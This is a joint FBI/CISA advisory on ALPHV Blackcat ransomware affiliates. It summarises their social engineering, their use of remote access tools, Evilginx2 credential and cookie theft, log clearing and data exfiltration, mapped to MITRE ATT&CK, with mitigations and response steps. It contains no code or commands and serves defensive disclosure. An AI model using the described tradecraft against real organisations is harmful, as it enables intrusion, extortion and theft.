This advisory provides updates to the FBI FLASH BlackCat/ALPHV Ransomware Indicators of Compromise released April 19, 2022. Since previous reporting, ALPHV Blackcat actors released a new version of the malware, and the FBI identified over 1000 victims worldwide targeted via ransomware and/or data extortion.

FBI and CISA encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ALPHV Blackcat ransomware and data extortion incidents.

In February 2023, ALPHV Blackcat administrators announced the ALPHV Blackcat Ransomware 2.0 Sphynx update, which was rewritten to provide additional features to affiliates, such as better defense evasion and additional tooling. This ALPHV Blackcat update has the capability to encrypt both Windows and Linux devices, and VMWare instances. ALPHV Blackcat affiliates have extensive networks and experience with ransomware and data extortion operations. According to the FBI, as of September 2023, ALPHV Blackcat affiliates have compromised over 1000 entities—nearly 75 percent of which are in the United States and approximately 250 outside the United States—, demanded over $500 million, and received nearly $300 million in ransom payments.

Download the PDF version of this report:


Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

ALPHV Blackcat affiliates use advanced social engineering techniques and open source research on a company to gain initial access. Actors pose as company IT and/or helpdesk staff and use phone calls or SMS messages [T1598] to obtain credentials from employees to access the target network [T1586]. ALPHV Blackcat affiliates use uniform resource locators (URLs) to live-chat with victims to convey demands and initiate processes to restore the victims’ encrypted files.

After gaining access to a victim network, ALPHV Blackcat affiliates deploy remote access software such as AnyDesk, Mega sync, and Splashtop in preparation of data exfiltration. After gaining access to networks, ALPHV Blackcat affiliates use legitimate remote access and tunneling tools, such as Plink and Ngrok [S0508]. ALPHV Blackcat affiliates claim to use Brute Ratel C4 [S1063] and Cobalt Strike [S1054] as beacons to command and control servers. ALPHV Blackcat affiliates use the open source adversary-in-the-middle attack [T1557] framework Evilginx2, which allows them to obtain multifactor authentication (MFA) credentials, login credentials, and session cookies. The actors also obtain passwords from the domain controller, local network, and deleted backup servers to move laterally throughout the network [T1555].

To evade detection, affiliates employ allowlisted applications such as Metasploit. Once installed on the domain controller, the logs are cleared on the exchange server. Then Mega.nz or Dropbox are used to move, exfiltrate, and/or download victim data. The ransomware is then deployed, and the ransom note is embedded as a file.txt. According to public reporting, affiliates have additionally used POORTRY and STONESTOP to terminate security processes.

Some ALPHV Blackcat affiliates exfiltrate data after gaining access and extort victims without deploying ransomware. After exfiltrating and/or encrypting data, ALPHV Blackcat affiliates communicate with victims via TOR [S0183], Tox, email, or encrypted applications. The threat actors then delete victim data from the victim’s system.

ALPHV Blackcat affiliates offer to provide unsolicited cyber remediation advice as an incentive for payment, offering to provide victims with “vulnerability reports” and “security recommendations” detailing how they penetrated the system and how to prevent future re-victimization upon receipt of ransom payment.


See Table 1 through Table 3 for all referenced threat actor tactics and techniques in this advisory.

Table 1: ALPHV Blackcat/ALPHV Threat Actors ATT&CK Techniques – Reconnaissance
Technique Title ID Use

Phishing for Information


ALPHV Blackcat affiliates pose as company IT and/or helpdesk staff using phone calls or SMS messages to obtain credentials from employees to access the target network.

Table 2: ALPHV Blackcat/ALPHV Threat Actors ATT&CK Techniques – Resource Development
Technique Title ID Use

Compromise Accounts


ALPHV Blackcat affiliates use compromised accounts to gain access to victims’ networks.

Table 3: ALPHV Blackcat/ALPHV Threat Actors ATT&CK Techniques – Credential Access
Technique Title ID Use

Obtain Credentials from Passwords Stores


ALPHV Blackcat affiliates obtain passwords from local networks, deleted servers, and domain controllers.



ALPHV Blackcat/ALPHV affiliates use the open-source framework Evilginx2 to obtain MFA credentials, login credentials, and session cookies for targeted networks.


If compromise is detected, organizations should:

  1. Quarantine or take offline potentially affected hosts.
  2. Reimage compromised hosts.
  3. Provision new account credentials.
  4. Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
  5. Report the compromise or phishing incident to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870). State, local, tribal, or territorial government entities can also report to MS-ISAC (SOC@cisecurity.org or 866-787-4722).
  6. To report spoofing or phishing attempts (or to report that you’ve been a victim), file a complaint with the FBI’s Internet Crime Complaint Center (IC3), or contact your local FBI Field Office to report an incident.


These mitigations apply to all critical infrastructure organizations and network defenders. The FBI and CISA recommend that software manufactures incorporate secure-by-design and -default principles and tactics into their software development practices limiting the impact of ransomware techniques, thus, strengthening the security posture for their customers.

For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.

FBI and CISA recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on threat actor activity and to reduce the risk of compromise by ALPHV Blackcat threat actors. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

  • Secure remote access tools by:
    • Implementing application controls to manage and control execution of software, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
    • Applying recommendations in CISA’s joint Guide to Securing Remote Access Software.
  • Implementing FIDO/WebAuthn authentication or Public key Infrastructure (PKI)-based MFA [CPG 2.H]. These MFA implementations are resistant to phishing and not susceptible to push bombing or SIM swap attacks, which are techniques known be used by ALPHV Blackcat affiliates. See CISA’s Fact Sheet Implementing Phishing-Resistant MFA for more information.
  • Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting ransomware, implement a tool that logs and reports all network traffic [CPG 5.1], including lateral movement activity on a network. Endpoint detection and response (EDR) tools are useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
  • Implement user training on social engineering and phishing attacks [CPG 2.I]. Regularly educate users on identifying suspicious emails and links, not interacting with those suspicious items, and the importance of reporting instances of opening suspicious emails, links, attachments, or other potential lures.
  • Implement internal mail and messaging monitoring. Monitoring internal mail and messaging traffic to identify suspicious activity is essential as users may be phished from outside the targeted network or without the knowledge of the organizational security team. Establish a baseline of normal network traffic and scrutinize any deviations.
  • Implement free security tools to prevent cyber threat actors from redirecting users to malicious websites to steal their credentials. For more information see, CISA’s Free Cybersecurity Services and Tools webpage.
  • Install and maintain antivirus software. Antivirus software recognizes malware and protects your computer against it. Installing antivirus software from a reputable vendor is an important step in preventing and detecting infections. Always visit vendor sites directly rather than clicking on advertisements or email links. Because attackers are continually creating new viruses and other forms of malicious code, it is important to keep your antivirus software up to date.


In addition to applying mitigations, CISA recommends exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Tables 1-3).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA and FBI recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.



The information in this report is being provided “as is” for informational purposes only. CISA and FBI do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and FBI.


December 19, 2023: Initial version.